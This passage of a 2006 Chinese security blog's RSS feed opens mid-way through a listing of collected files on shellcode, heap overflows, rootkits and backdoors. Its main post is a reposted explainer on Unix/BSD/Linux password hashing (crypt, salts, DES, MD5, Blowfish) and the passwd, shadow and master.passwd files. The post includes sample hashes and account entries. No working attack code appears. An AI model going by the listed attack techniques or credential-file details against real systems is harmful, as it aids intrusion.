Security Team - E_S_T.mht<br />│      [转载]shellcode技术探讨续一 - EvilOctal Security Team - E_S_T.mht<br />│      [转载]怎样写远程缓冲区溢出漏洞利用程序 - EvilOctal Security Team - E_S_T.mht<br />│      『 SafeChina Security Forums 』 - ==『编程之道』 - Windows 2000缓冲区溢出入门 (zt).mht<br />│      『 SafeChina Security Forums 』 - ==『编程之道』 - 从堆栈查找Kernel32_DLL基址.mht<br />│      一种小堆(heap)溢出的另类利用方法.mht<br />│      一种新的Heap区溢出技术分析.mht<br />│      关于Windows下ShellCode编写的一点思考.mht<br />│      总结windows下堆溢出的三种利用方式.mht<br />│      栈溢出攻击技术.rar<br />│      纯字母shellcode [proof].rar<br />│      通用ShellCode深入剖析.mht<br />│      高级返回库函数exploit代码实现.mht<br />│      <br />├─Other<br />│      nc使用技巧.mht<br />│      RSA算法基础-实践.mht<br />│      VPN与网络安全.rar<br />│      vpn过程解析.rar<br />│      [转载]CISCO命令全集 - powered by phpwind_net.mht<br />│      [转载]SSL是如何工作的 - EvilOctal Security Team - E_S_T.mht<br />│      [转载]探测远程主机操作系统指纹的全新技术 - EvilOctal Security Team - E_S_T.mht<br />│      [转载]有关无线安全与黑客的话题 - EvilOctal Security Team - E_S_T.mht<br />│      了解你的敌人：了解VMware.mht<br />│      再谈防火墙及防火墙的渗透.mht<br />│      在TCP三次握手后插入伪造的TCP包.mht<br />│      基于ARP欺骗的TCP伪连接D_o_S.mht<br />│      嵌入式系统及实时软件开发.rar<br />│      应用层截包方案与实现.mht<br />│      慧眼巧识Honeypot[原创文档].mht<br />│      数据恢复与硬盘数据结构 - 飞客数据恢复中心.mht<br />│      有关无线安全与黑客的话题.mht<br />│      深入理解计算机系统.rar<br />│      电话反窃听、防窃听的技术与设备.mht<br />│      组合语言之艺术.chm<br />│      网络安全防范体系及设计原则.mht<br />│      自己动手写操作系统完全版.rar<br />│      自己动手写造作系统(源代码)随书光盘.rar<br />│      <br />├─nix<br />│      Digital Press - UNIX for OpenVMS Users, Third Edition.rar<br />│      freebsd_book_cht.zip<br />│      Getting Started with OpenVMS.rar<br />│      inside_unix_defense.rar<br />│      OpenVMS技术专辑_技巧_密码的破解,第1页 - SOHU社区.mht<br />│      OpenVMS操作系统专辑_OpenVMS介绍,第1页 - SOHU社区.mht<br />│      solaris_learning.zip<br />│      Unix编程应用问答中文版(2005-12-10外发版).txt<br />│      VMS 作業系統使用者指引.mht<br />│      VMSFaq.rar<br />│      [转载]HP小型机的信息的命令集(完全版) - powered by phpwind_net.mht<br />│      在PC上安装模拟器运行OpenVMS操作系统,第1页 - SOHU社区.mht<br />│      <br />├─Linux<br />│      abs-guide-3.7-cnhtm.tar.gz<br />│      apt-howto.pdf<br />│      Before main() 分析.mht<br />│      Book_Linux1.0.rar<br />│      CSDN技术中心 LINUX动态链接库高级应用.mht<br />│      ELF文件格式(中文)(一).mht<br />│      ELF文件格式(中文)(三).mht<br />│      ELF文件格式(中文)(二).mht<br />│      LFS-6.1.1.chm<br />│      Linux C 函数.chm<br />│      Linux Kernel chs.chm<br />│      Linux on-the-fly kernel patching without LKM.mht<br />│      linux-2_6内核升级文档 - icekernel的专栏.mht<br />│      linux内核0.11完全注释-1.9.5.rar<br />│      linux内核溢出研究系列(1)--通用shellcode篇 - China Linux Forum.mht<br />│      Linux内核溢出研究系列(2) - kmalloc溢出技术 - China Linux Forum.mht<br />│      Linux内核漏洞浅析.mht<br />│      linux基础.rar<br />│      linux操作系统C语言编程入门.rar<br />│      Linux编程命令详解.rar<br />│      Ph4nt0m Security Team BBS - Advanced Exploit Techique之--frame faking技术.mht<br />│      Ph4nt0m Security Team BBS - Bypass Exec-shield Under Redhat.mht<br />│      Ph4nt0m Security Team BBS - [讨论]shared library hijacking.mht<br />│      Ph4nt0m Security Team BBS - 让shellcode在_data执行的一个例子,呵呵.mht<br />│      Ph4nt0m Security Team BBS - 转载：一份非常内行的Linux LVM HOWTO.mht<br />│      Shell_manual.rar<br />│      Something about burneye - China Linux Forum.mht<br />│      Ubuntu中文 论坛  阅读主题 - Ubuntu教程 -06_08_09.mht<br />│      Unix Linux下常用监控和管理命令工具.mht<br />│      vimcdoc-1.5.0.tar.gz<br />│      [转载]unix c socket - EvilOctal Security Team - E_S_T.mht<br />│      [转载]unix多进程编程 - EvilOctal Security Team - E_S_T.mht<br />│      [转载]后门技术及rootkit工具－Knark分析及防范 - EvilOctal Security Team - E_S_T.mht<br />│      在linux平台上创建超小的ELF可执行文件.mht<br />│      基于内核的rookit经验[phrack61].mht<br />│      熟悉linux的安全和优化.rar<br />│      用elf-write工具写interpreter后门 - China Linux Forum.mht<br />│      AIX安全指南.rar<br />│      Gentoo Linux2006.0手册.rar<br />│      KDE.rar<br />│      Linux C高级程序员指南1.rar<br />│      linux command.rar<br />│      SuckIt-1_3a 后门程序的分析.mht<br />│      GCC使用指南.mht<br />│      Gentoo 下 LAMP 的安装和配置 - China Linux Forum.mht<br />│      Linux 2.6 调度系统分析.mht<br />│      Linux 守护进程的编程方法.mht<br />│      linux动态链接库搜索路径的确定--就是我的blog.mht<br />│      Linux守护进程的编程方法.mht<br />│      linux下的ldd.mht<br />│      Ubuntu6_06Install - UbuntuChina Wiki.mht<br />│      共享库注射--injectso实例.mht<br />│      <br />├─HackingSkill<br />│      Do All in Cmd Shell.mht<br />│      download@cmdline--CoolICE WebLog.mht<br />│      HTTPd_bat--CoolICE WebLog.mht<br />│      IE mhtml redirection漏洞利用方法.mht<br />│      IIS 5_1 allows for remote viewing of source code__  There is no security ^_^.mht<br />│      javaphile-blind_injection_survey.rar<br />│      Kevin Mitnick The Art of Deception.rar<br />│      nsupdata_bat--CoolICE WebLog.mht<br />│      URL Protocol--CoolICE WebLog.mht<br />│      XFOCUS Security Forums - Re 如何编写协议解码函数.mht<br />│      [原创]对dvbbs7_1 sp1最新savepost_asp漏洞的研究和利用 邪恶八进制信息安全团队官方技术讨论组 - 努力为祖国的信息安全撑起一片蓝天 - EvilOctal Security Team - E_S_T.mht<br />│      [转载]虚假中国银行(www_banochi_net)入侵尝试实录 邪恶八进制信息安全团队官方技术讨论组 - 努力为祖国的信息安全撑起一片蓝天 - EvilOctal Security Team - E_S_T.mht<br />│      <br />│          <br />├─C&amp;C++&amp;C#<br />│      Beej网络socket编程指南.rar<br />│      C#完全手册.rar<br />│      c语言代码.mht<br />│      Dinkum - Standard C++ Library Reference.rar<br />│      More Effective C++（中文）.chm<br />│      Socket开发资料.rar<br />│      <br />└─Assembly<br />        Arm指令的全中文资料.rar<br />        gdb_guide.rar<br />        KmdTutCn.chm<br />        PC汇编资料大全.chm<br />        pev.rar<br />        softice-help.rar<br />        Sorted_OEM.zip<br />        win32asm_lyb.rar<br />        [转贴]8088 汇编速查手册 - EvilOctal Security Team - E_S_T.mht<br />        [转载]总结进入RING0的方法 - EvilOctal Security Team - E_S_T.mht<br />        《NASM中文手册》PDF版.rar<br />        一种可以穿透还原卡和还原软件的代码.mht<br />        奔腾指令速查手册.mht<br /></span></div><img src ="http://www.phpweblog.net/GaRY/aggbug/362.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-27 18:34 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/27/362.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[zt]Unix/BSD/Linux的口令机制初探</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/26/361.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sat, 26 Aug 2006 08:31:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/26/361.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/361.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/26/361.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/361.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/361.html</trackback:ping><description><![CDATA[
		<p>
				<font class="subhead">1.概述</font>
		</p>
		<p>早期U N I X系统把用户口令保存在一个纯文本可读的“口令文件”中，这可能在系统管理员注意不到的情况下被截取并暴露。它也可能在一次偶然事件中泄露。<br />从AT&amp;T UNIX版本6开始，Thompson 等决定采用一个不同的方式： U N I X口令采用以美国军方M - 2 0 9密码机为模型的基于旋转的算法来进行编码。这种快速算法被证明对穷尽纯文本搜索有弱点并被AT&amp;T UNIX版本7中出现的更先进的crypt ( )库代替。<br />现在Unix/Linux将口令以不可读的方式保存在机器中。系统使用名为cryptographic hash的算法将口令转换成文本字符串。这个串即称为散列或者散列值。使用的算法可以有多种，但它们都是不可逆的，也就是说不能从散列值中恢复出原始口令。不同的系统，所使用的密码文件以及加密算法都可能不同。管理、维护好这些密码文件是保证系统安全的首要任务。(未特别说明，本文所有命令均在csh下以root身份运行。)</p>
		<p>
				<font class="subhead">2.加密算法简介</font>
		</p>
		<p>2.1---crypt()简介---key 和 salt</p>
		<p>在Unix/Linux下存在多种散列算法。可以通过库函数crypt()调用这些系统支持的算法。crypt()有key和salt两个参数，并返回相应的散列值。salt亦即我们常说的“盐”，它只是简单的字符串，它的长度取决于所使用的算法，不同的散列算法它有不同的取值范围。所以，即使是相同的算法，相同的原始口令，使用不同的salt，也会得到不同的加密口令。salt的目的也就是为了加大口令破解的难度，当我们使用passwd命令来修改密码时，它会随机选择一个salt. s a l t使得使用预编译字典对加密口令进行攻击变得更困难。代替为字典中每个单词做一次单独加密，攻击者现在不得不对字典中每个单词的4 0 9 6种排列进行加密和储存。在2 0年前，s a l t是作为本质上的资源障碍引入的，但现在1 2位s a l t不再被认为是一种有效的防御方法。<br />crypt()可以在C程序中直接调用，甚至可以用perl直接调用，(详细信息请man 3 crypt),如下例：<br /></p>
		<div class="code">%perl -e 'print crypt("mypass","s1"),"\n"' <br />s1tROevFyi.yQ 
<p></p><p>%perl -e 'print crypt("mypass","s2"),"\n"' <br />s2JQ85JElCMeU<br /></p></div>
		<p>
		</p>
		<p>以上两例中s1、s2分别为salt 值，可以看到，相同的口令（上例中为mypass）使用不同的salt将得到不同的散列值。 以上两例使用的都是DES算法，加密后的散列值将salt值作为其前缀。</p>
		<p>2.2DES算法</p>
		<p>由美国政府和IBM研制。所有的Linux版本和几乎所有的Unix系统都支持DES.DES实际上为一个加密算法，但是crypt(3）将之做为散列算法。普通的DES算法容许的原始口令长度为8个字符，多余的口令也接受，但是多余部分会被系统自动摒弃。但有些系统（例如HP-UX)使用DES的多次迭代来解决此问题,这样就可以使用任意长度的密码。但是使用DES加密后的口令为13个字符长。</p>
		<p>2.3MD5算法</p>
		<p>它是真正的散列算法。允许无限长的口令。它使用的salt空间也别DES算法大得多，所以两口令相同的可能性更小。它也通过调用crypt(3)函数实现。MD5算法使用的 salt必须以$1$开头，并以$结尾。且salt长度为8个字符。例如要用abcdef为salt 散列mypass，那么如下：<br /></p>
		<div class="code">%perl -e 'print crypt("mypass","\$1\$abcdef\$"),"\n"'<br />$1$abcdef$nRHvewzGzJoYskdQAIEQr<br /></div>
		<br />注：上例中的"\n"均为转义字符。salt值为$1$abcdef$,原始密码为mypass,散列值为：$1$abcdef$nRHvewzGzJoYskdQAIEQr<br />MD5算法得到的散列值为31个字符长，并且都以$1$开头。 
<p></p><p>2.4其他算法：</p><p>BSDI风格的DES和Blowfish使用也比较广泛，本文将在后面会有讨论。</p><p>2.5 BSD使用的加密机制：</p><p>各种D E S很长一段时间内一直是U N I X口令加密的主要算法，但还有其他算法可以代替D E S。现代B S D系统提供了一些其他算法的应用范例。缺省情况下， FreeBSD默认使用MD5加密机制，因为MD5没有出口限制，同时也更安全于DES。DES仍然可用，只不过DES存在的目的仅仅是为了和其他UNIX系统所用的密码的向后兼容性。并且使用DES的系统也能鉴别出MD5，因为MD5所用的Hash也在DES中被使用。 </p><p>O p e n B S D走得更远。其开发小组在加拿大，这样就不受美国的出口限制。O p e n B S D可以被配置成使用传统的UNIX crypt () 、比如“扩充加密”、M D 5或B l o w f i s h。M D 5由Ronald L.Rivest开发，它在RFC 1321中描述。F r e e B S D和O p e n B S D中基于M D 5的crypt ( ) 产生的口令条目包含版本号、s a l t和哈希口令，彼此之间用“ $”符号分隔。一个M D 5口令看起来如下：<br /></p><div class="code">$ 1 $ c a e i H Q w X $ h s K q O j r F R R N 6 K 3 2 O W K C B f 1</div><br />这里“$ 1”指明M D 5，“c a e i H Q w X”是s a l t。 
<p></p><p>B l o w f i s h由Bruce Schneier在1 9 9 3年开发，是D E S的一个快速、压缩、简单且免费的替代品]。虽然S c h n e i e r指出B l o w f i s h不适合产生单向哈希，但O p e n B S D就为这个目的使用它。B l o w f i s h版的crypt ( )使用1 2 8位s a l t，足够使最坚定的破坏者泄气。用所有可能的s a l t值进行预编译的字典将十分昂贵。其最大口令长度为7 2个字符。B l o w f i s h算法是一个由p i的十六进制数字组成的固定字符串进行初始化的。初始化的B l o w f i s h状态由s a l t和口令进行扩展，该过程重复一定的次数（该数值也被编入口令串中）。最后的B l o w f i s h口令条目是使用B l o w f i s h状态对字符串“ O r p h e a n B e h o l d e r S c r y D o u b t”加密6 4次而得到的。<br />加密的口令条目包含B l o w f i s h版本号、算法重复次数以及s a l t和哈希口令的连结—每个之间由“ $”字符隔开。一个编码“ 8”将声明2 5 6次循环。一个有效的B l o w f i s h口令看起来如下：<br /></p><div class="code">$2a$12$eIAq8PR8sIUnJlHaohxX209x9O1m2vk97LJ5dsXdmB.eXF42qjchC</div><br />在这个例子中，初始的扩展进行4 0 9 6次。给出了很大的重复次数和长的口令， B l o w f i s h加密的口令比其他基于传统D E S机制加密的口令更难被攻击。给出由这些算法改进所提供的额外安全措施后，它被应用在其他U N I X系统中只是一个时间问题了。 
<p></p><p>2.6----如何得知你的系统使用的加密算法</p><p>方法可以有很多，本人简单列举几个：</p><p>方法（1）你可以通过查看 libcrypt[._*]链接到/usr/lib下的哪些库文件来得知你的系统密码所使用的加密算法。如果链接到libcrypt*库，那么使用的为MD5,如果为libdescrypt*，就应该为DES了。具体操作如下：<br /></p><div class="code">%cd /usr/lib<br />%ls　-l　libcrypt[._]*<br />lrwxr-xr-x　　1　root　　wheel　　　　　　　11　Jun　　9　06:18　/usr/lib/libcrypt.a@　-&gt;<br />libscrypt.a<br />lrwxr-xr-x　　1　root　　wheel　　　　　　　12　Jun　　9　06:19　/usr/lib/libcrypt.so@　-&gt;<br />libscrypt.so<br />lrwxr-xr-x　　1　root　　wheel　　　　　　　14　Jun　　9　06:21　/usr/lib/libcrypt.so.2@　-&gt;<br />libscrypt.so.2<br />lrwxr-xr-x　　1　root　　wheel　　　　　　　13　Jun　　9　06:22　/usr/lib/libcrypt_p.a@　-&gt;<br />libscrypt_p.a<br />%<br /></div><br />注意：在FreeBSD4.4中，从FreeBSD 4.4开始就完全由login.conf来控制所使用的加密算法，并且默认已经设置为MD5,要改为DES,只须将其中:password_format段的md5替换成des。任何使修改生效，本文后面有详细的说明。 
<p></p><p>附：我们强烈建议用户尽可能的使用MD5库而非DES.所以往往也很有必要将一些安装了DES加密算法的系统的DES库转换成MD5库，操作也很简单，只须先删除libcrypt[._*]链接，然后将它们重新链接到相应到md5库。（即以s代替des）:</p><p>Links DES MD5<br />----- --- ---</p><p>libcrypt.a libdescrypt.a libscrypt.a<br />libcrypt.so libdescrypt.so libscrypt.so<br />libcrypt.so.2 libdescrypt.so.2 libscrypt.so.2<br />libcrypt_p.a libdescrypt_p.a libscrypt_p.a</p><p>方法（2）查看/etc/login.conf中的password_format段。其值md5,des,blf分别对应MD5,DES和blowfish.<br />方法（3）查看密码文件/etc/passwd或者/etc/shadow(BSD 下相应为/etc/master.passwd),根据密码特征得知使用的加密算法。例如以$1$开头的为MD5,以$2$开头的为blowfish.DES没有明显的特征，但它的密码段相对较短，且均为字母，没有$之类的字符，也很容易辨别！</p><p><font class="subhead">3.密码文件</font></p><p>3.1概述：</p><p>正如大家所熟悉的，Unix下都存在一个/etc/passwd文件以存放用户的密码文件，但是在不同的Unix，Linux，BSD 中它们所起的作用也不尽相同。某些Unix和Linux还使用shadow文件，但FreeBSD中相应的却为/etc/master.passwd文件。下面将对这些文件进行详细说明。</p><p>3.2/etc/passwd文件</p><p>传统的Unix中均使用该文件来存放用户密码。该文件以加密的方式保存口令，其中的口令必须通过passwd口令来生成（如果使用NIS，相应的为ypasswd）,或者从另一账号中复制过来。<br />P a s s w d文件中的每个条目看起来如下：<br />n a m e : c o d e d - p a s s w d : U I D : G I D : u s e r - i n f o : h o m e - d i r e c t o r y : s h e l l<br />7个域中的每一个由冒号隔开。空格是不允许的，除非在u s e r- i n f o域中使用。下面总结了<br />每个域的含义：</p><p>①name—给用户分配的用户名，这不是私有信息。<br />② c o d e d - p a s s w d—经过加密的用户口令。如果一个系统管理员需要阻止一个用户登录，则经常用一个星号（ : * :）代替。该域通常不手工编辑。用户应该使用p a s s w d命令修改他们的口令。值得注意的一点是许多最近的U N I X 产品依赖“影子口令” — 不在/ e t c / p a s s w d中保存的口令。<br />③ UID—用户的唯一标识号。习惯上，小于1 0 0的U I D是为系统帐号保留的。<br />④ G I D—用户所属的基本分组。通常它将决定用户创建文件的分组拥有权。在Red Hat L i n u x中，每个用户帐号被缺省赋予一个唯一分组。<br />⑤ u s e r- i n f o—习惯上它包括用户的全名。邮件系统和f i n g e r这样的工具习惯使用该域中的信息。该域也被称作G E C O S域。<br />⑥ home-directory—该域指明用户的起始目录，它是用户登录进入后的初始工作目录。<br />⑦ s h e l l—该域指明用户登录进入后执行的命令解释器所在的路径。有好几种流行的S h e l l，包括Bourne Shell (/bin/sh)，C Shell (/bin/csh)，Korn Shell (/bin/ksh)和Bash Shell( / b i n / b a s h )。注意可以为用户在该域中赋一个/ b i n / f a l s e值，这将阻止用户登录。</p><p>注意：当编辑/etc/passwd文件来建立一个新账号时，应在密码字段放一个"*"，（一些伪用户，例如daemon也如此）以避免用户未经权而使用该账号。直到你为此新建账号设置了真实密码。</p><p></p><p>3.2/etc/shadow文件</p><p>传统上，/ e t c / p a s s w d文件在很大范围内是可读的，因为许多程序需要用它来把U I D转换为用户名。例如，如果不能访问/ e t c / p a s s w d，那么ls -l命令将显示数字U I D而不是用户名。不幸的是，使用口令猜测程序，具有加密口令的可读/ e t c / p a s s w d文件表现出巨大的安全危险。多数近来的U N I X产品支持一个变通方法：影子口令文件。影子口令系统把口令文件分成两部分： / e t c / p a s s w d和影子口令文件。影子口令文件保存加密的口令；/ e t c / p a s s w d中的c o d e d - p a s s w o r d域都被置为“X”或其他替代符号。影子口令文件只能被r o o t或像p a s s w d这样的s e t _ u i d程序在需要合法访问时读取，其他所有非授权用户都被拒绝访问。习惯上，影子口令文件保存在/ e t c / s h a d o w中，尽管有些系统使用可选的路径和文件名。例如B S D系统把加密的口令保存在/ e t c / m a s t e r. p a s s w d。</p><p>/etc/shadow剖析<br />/ e t c / s h a d o w文件包含用户名和加密口令以及下面一些域：<br />(1) 上一次修改口令的日期，以从1 9 7 0年1月1日开始的天数表示。<br />(2) 口令在两次修改间的最小天数。口令在建立后必须更改的天数。<br />(3)口令更改之前向用户发出警告的天数。<br />(4)口令终止后帐号被禁用的天数。<br />(5)自从1 9 7 0年1月1日起帐号被禁用的天数。<br />(6)保留域。<br />下面是一个Red Hat Linux系统中/ e t c / s h a d o w文件的例子：<br /></p><div class="code">root:mGqwuvdF41bc:10612:0:99999:7:::<br />bin:*:10612:0:99999:7:::<br />daemon*:10612:0:99999:7:::<br />adm:*:10612:0:99999:7:::<br />lp*:10612:0:99999:7:::<br />sync:*:10612:0:99999:7:::<br />shutdown:*:10612:0:99999:7:::<br />halt:*:10612:0:99999:7:::<br />mail:*:10612:0:99999:7:::<br />news:*:10612:0:99999:7:::<br />uucp:*:10612:0:99999:7:::<br />operator:*:10612:0:99999:7:::<br />freebird:sdfaBh45ZiQn1llfa:10612:0:99999:7:::<br /></div><p></p><p>缺省情况下，口令更新并不开启。于是没有口令更改前的最小天数，也没有口令必须更改的日期。口令在99 999天内必须更换的声明几乎无用，因为从现在起几乎还有2 5 0年。在口令终止前7天警告用户的声明也没用，除非选择使用口令更新。在本例中没有声明，还可以在口令终止和帐号禁用之间设置一个时间段。</p><p>在可选影子口令功能的系统中，用一条相对简单的命令设置并更新影子口令文件：p w c o n v。该命令在影子口令文件不存在的情况下创建一个新的。如果已存在一个影子文件，p w c o n v把/ e t c / p a s s w d中的新用户添加到/ e t c / s h a d o w中，把/ e t c / p a s s w d中没有的用户从影子文件中删去，并把口令从/ e t c / p a s s w d移到影子文件中。在Red Hat Linux中，p w c o n v把新的/ e t c / p a s s w d文件写到一个名为n p a s s w d的文件中，把新影子文件写到n s h a d o w中。这些新文件需要手工进行重命名或拷贝。用户可以用p w u n c o n v命令返回到不使用影子文件的情况下，它把影子文件中的信息合并回传统的口令文件中。</p><p>提示：早期的L i n u x不支持影子口令。<br />注意：在solaris下，必须使用隐蔽口令文件，在Linux下，如果用户安装了shadow软件也可以使用。</p><p>3.2/etc/master.passwd</p><p>在BSD下，实际的口令文件是/etc/master.passwd.,这里的密码都是简单的文本数据库，每个用户占一行，行中字段用":"隔开。/etc/master.passwd权限为0600，而/etc/passwd为0644，这就意味着任何人都人存取/etc/passwd.但只有root才能读取/etc/master.passwd.<br />在BSD中，/etc/master.passwd是/etc/passwd的超集，它直接生成/etc/passwd文件。所以在BSD中/etc/passwd文件总是不需要直接进行编辑。一旦运行vipw,passwd,chfn,chsh或者chpass这些命令,也是对/etc/master.passwd进行修改。并且修改后会自动生成/etc/passwd.(一同生成的还有由pwd_mkdb工具生成的/etc/master.passwd的散列表形式。)<br />平面文件数据库(/etc/passwd,/etc/master.passwd)都只对少量用户合适，用户一多，查找速度就慢。因此在BSD 下相应的还有两个数据库格式的散列表/etc/pwd.db和/etc/spwd.db,其权限也和上面两文件对应。每次运行chfn,passwd等命令后,pwd_mkdb都会自动修改这两个文件。</p><p>提示：若希望根据另一个FreeBSD重新构件用户列表或者从另一个FreeBSD机器移植一个用户列表，只须简单的把新的master.passwd(比如master.passwd.new)文件置于/etc/下（或/ 下），然后运行如下命令（注意先备份）：<br /></p><div class="code">%cp /etc/master.passwd /etc/master.passwd.bak<br />%pwd_mkdb -p /etc/master.passwd.new<br /></div><br />这样/etc/master.passwd文件将被覆盖，其他三个文件也得以重建。（-p即为生成新的/etc/passwd）<br /><br />注意：/etc/master.passw文件和shadow文件形式和功能都相同，但是和/etc/master.passwd不同的是,Linux下（或其他系统）使用的/etc/shadow文件并非/etc/passwd文件的超集。/etc/passwd文件也并非由/etc/shadow文件产生，需要手工维护这两个文件。 
<p></p><p></p><p>4.BSD下使用“密码过期机制”<br />“密码过期”意即超过规定的时间密码无效，用户必须在此之前修改密码。要实现此功能，需要修改/etc/login.conf文件，在default段中加入passwordtime=90d(或者2y,6w,24h之类的)如：<br /></p><div class="code">default:\<br />　　　　:password_format=md5:\<br />　　　　:copyright=/etc/COPYRIGHT:\<br />　　　　:welcome=/etc/motd:\<br />　　　　:passwordtime=24h:\<br /></div><br />因为/etc/login.conf数据库必须编译成一个散列表，所以必须运行cap_mkdb程序，以生成此散列表，然后才能使修改生效。如下操作：<br /><div class="code">%cap_mkdb /etc/login.conf</div><br />这样，若24小时内未修改密码，登陆时将提示输入新的密码。 
<p></p><p>注意：在设置passwordtime属性时，passwd会在/etc/master.passwd的第六字段写入最后一次修改密码的时间。<br />/etc/login.conf在密码及其他设置方面还有很多值得使用的地方，不妨man 看看。</p><p><font class="subhead">后记</font></p><p>本文只简要的说明了一下Unix/Linux特别是BSD的口令机制，要也因本人水平，不能在此文深入的论述此问题。关于密码的安全性，以及密码破解和任何使用更安全的加密机制等问题，本人会在以后撰文论述。</p><p><font class="subhead">参考资料：</font><br />man 5 passwd<br />man 3 crypt<br />man md5<br />man des<br />man login.conf<br />DES-to-MD5-(mini)HOWTO<br />《Hacking Linux Exposed》<br />《Unix System Administrator Handbook》</p><p>作者简介：<br />Freebird,姓名：匡萃彪。CNFUG核心成员。Unix/Linux/BSD的狂热追随者，熟悉BSD,Linux，Solaris，C，Shell。主要研究方向：各种服务器架设、系统和网络安全、内核源码分析以及英文文档翻译。欢迎您通过freebird@cnfug.org与本人联系。</p><img src ="http://www.phpweblog.net/GaRY/aggbug/361.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-26 16:31 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/26/361.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>dvbbs php version</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/26/358.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Sat, 26 Aug 2006 02:32:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/26/358.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/358.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/26/358.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/358.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/358.html</trackback:ping><description><![CDATA[dvbbs又要做php版本了,抢discuz!的生意,昨天看了下代码.漏洞百出,真不愧"洞"网的美名.<img src ="http://www.phpweblog.net/GaRY/aggbug/358.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-26 10:32 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/26/358.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>又换模板</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/24/352.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Thu, 24 Aug 2006 09:43:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/24/352.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/352.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/24/352.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/352.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/352.html</trackback:ping><description><![CDATA[
		<p>各位,行行好告诉我这个模板和原来那模板哪个好吧</p>
<img src ="http://www.phpweblog.net/GaRY/aggbug/352.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-24 17:43 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/24/352.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>换模板</title><link>http://www.phpweblog.net/GaRY/archive/2006/08/21/345.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Mon, 21 Aug 2006 10:47:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2006/08/21/345.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/345.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2006/08/21/345.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/345.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/345.html</trackback:ping><description><![CDATA[原来模板太黑,不适合阅读,不能因为我喜欢黑色而导致各位读者的眼睛生痛.<br />内容部分也太窄,代码被截断换行,不利.<br /><br />明天<a href="http://xcon.xfocus.net/">Xcon</a>要开始了,n多人都去bj聚会了.boy和村长还在<a href="http://xcon.xfocus.net/">Xcon</a>上有个Zend decoder的议题.赞一个先.<br />考虑考虑,争取明年我也去凑凑热闹.见见各位牛人大虾,顺便见识下村长的<a href="http://www.b105.net">b105</a>  <img height="19" src="http://www.phpweblog.net/Emoticons/emwink.gif" width="19" border="0" /><img src ="http://www.phpweblog.net/GaRY/aggbug/345.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2006-08-21 18:47 <a href="http://www.phpweblog.net/GaRY/archive/2006/08/21/345.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>